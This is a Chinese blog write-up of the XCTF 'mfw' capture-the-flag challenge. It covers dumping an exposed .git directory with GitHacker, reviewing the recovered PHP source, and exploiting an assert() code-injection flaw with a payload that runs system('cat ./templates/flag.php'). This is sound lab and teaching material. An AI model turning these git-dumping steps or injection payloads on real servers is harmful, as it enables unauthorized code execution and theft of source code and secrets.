攻防世界mfw

本人24小时在线,如有疑问,可联系我!


攻防世界mfw

文章目录


题目

在这里插入图片描述

在这里插入图片描述

猜?

页面源码
在这里插入图片描述
右键,查看页面源码!
在这里插入图片描述
这不就是了?文件包含?文件上传?
看看后台目录(我的习惯)
在这里插入图片描述
什么也没有哦!
在这里插入图片描述
使用git

工具githacker
python3
kali里面打开就可以了

pip3 install -i https://pypi.org/simple/ GitHacker
githacker

在这里插入图片描述

githacker --url http://61.147.171.105:64962/.git/ --output-folder /home/kali/

在这里插入图片描述

把文件下载下来
在这里插入图片描述
打开flag.php。
能做到这里很不错了。借鉴了一下别人的文章。说注释掉了。
先看看这个

<?php
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} 
else {
	$page = "home";
}
$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

解释一下:

assert()函数其实是一个断言函数。
assert:
  这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
        assert ( mixed $assertion [, string $description ] ) : bool
  如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase.

由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思,构建的payload: /?page=');// #双斜杠 " // " 在php中表示注释
在这里插入图片描述
已知目录,就不用再查了(还记得吗?:不再用system('ls+xxx')回显路径)。
构造语句:?page=').system(‘cat+./templates/flag.php’);//
在这里插入图片描述
答案正确。
在这里插入图片描述

总结

这题考察PHP代码审计的能力,以及.git源码泄露的知识点。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值